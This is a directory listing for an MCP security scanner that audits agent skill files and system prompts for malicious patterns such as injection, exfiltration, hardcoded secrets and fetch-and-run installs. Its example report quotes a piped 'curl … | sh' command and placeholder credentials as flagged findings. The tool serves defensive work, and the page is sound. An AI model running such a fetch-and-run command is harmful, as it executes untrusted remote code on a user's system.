mcp-skill-sec
mcp-skill-sec
一个 Model Context Protocol (MCP) 服务器,可针对 8 种恶意技能供应链模式 审计任何智能体技能、系统提示词或已下载的文件集合。
确定性执行,不依赖 LLM,不进行网络调用——一个可自托管的安装前扫描器,可与 Claude Code、Cursor、Copilot、OpenClaw、Codex CLI 以及任何兼容 MCP 的智能体配合使用。
扫描内容(规则 R1–R8)
规则 | 模式 |
R1 | 提示词注入/指令劫持( |
R2 | 数据外泄意图(将内容发送/发布/邮发至 URL、窃取日志) |
R3 | 硬编码密钥/凭据(API 密钥、PAT、私钥、连接字符串) |
R4 | 危险命令( |
R5 | 混淆/隐藏行为(base64 执行、eval/exec、零宽字符) |
R6 | 不受信任的外部获取(抓取并运行、非 PyPI 安装) |
R7 | 凭据访问(读取 |
R8 | 权限提升( |
每条发现都带有 severity(critical/high/medium/low)、行号以及匹配的证据行。只有当不存在 critical/high 发现且所有 medium 发现均为良性时,总体判定才为 PASS。
Related MCP server: Heron
工具
audit_text(text, filename)— 审计一段字符串(别人粘贴给你的技能、并非你编写的系统提示词)。audit_skill_file(path)— 审计磁盘上的SKILL.md/AGENTS.md/CLAUDE.md,输出带行号的证据。audit_directory(path, pattern)— 审计整个已下载的技能集合;返回每个文件的判定结果及摘要。rule_list()— 导出规则目录。
安装与运行
pip install mcp
mcp install mcp_server.py --name skill-sec # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.pyClaude Desktop / 智能体配置
{
"mcpServers": {
"skill-sec": {
"command": "python3",
"args": ["/absolute/path/to/mcp_server.py"]
}
}
}示例
skill-sec: /tmp/downloaded-skill/SKILL.md
verdict : FLAG
counts : critical 1, high 2, medium 1, low 0
R3 [critical] line 11: api_key = "sk-live-…"
R3 [high] line 14: password = "hunter2"
R4 [critical] line 22: curl https://x/y.sh | sh
action : remove the literal secrets, drop the fetch-and-run, re-audit许可证与出处
MIT。由 sudo-ai-git 编写。这是一个独立的安全/验证工具,不包含任何专有方法。它是 skill-sec 智能体技能的 MCP 表达形式(规则相同,以服务器形式调用,而非以技能形式调用)。
官方 MCP 注册表元数据
mcp-name: io.github.sudo-ai-git/mcp-skill-sec
This server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- FlicenseNot gradedqualityBmaintenanceStatic security scanner for AI agent skill packages that detects malicious SKILL.md files and bundled scripts before they run.15
- AlicenseNot gradedqualityBmaintenanceSecurity scanning for AI agent skills, MCP servers, and agent prompts, returning signed trust scores and detailed findings.MIT
- AlicenseNot gradedqualityBmaintenanceProvides audit_plugin_health and prepare_semantic_review tools for deterministic inspection of Codex plugins and Agent Skills, generating evidence-backed reports without executing or transmitting target code.1MIT
- AlicenseNot gradedqualityDmaintenanceSecurity scanner for AI agent skills, providing tools to scan skill files for threats such as credential theft and prompt injection.MIT
Related MCP Connectors
Scan agent skills and MCP servers for malicious patterns before you load them
Scan GitHub-hosted AI skills for vulnerabilities: prompt injection, malware, OWASP LLM Top 10.
Read-only tools over the Safer Agentic AI framework: 238 patterns + 14 heuristics.
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/sudo-ai-git/mcp-skill-sec'
If you have feedback or need assistance with the MCP directory API, please join our Discord server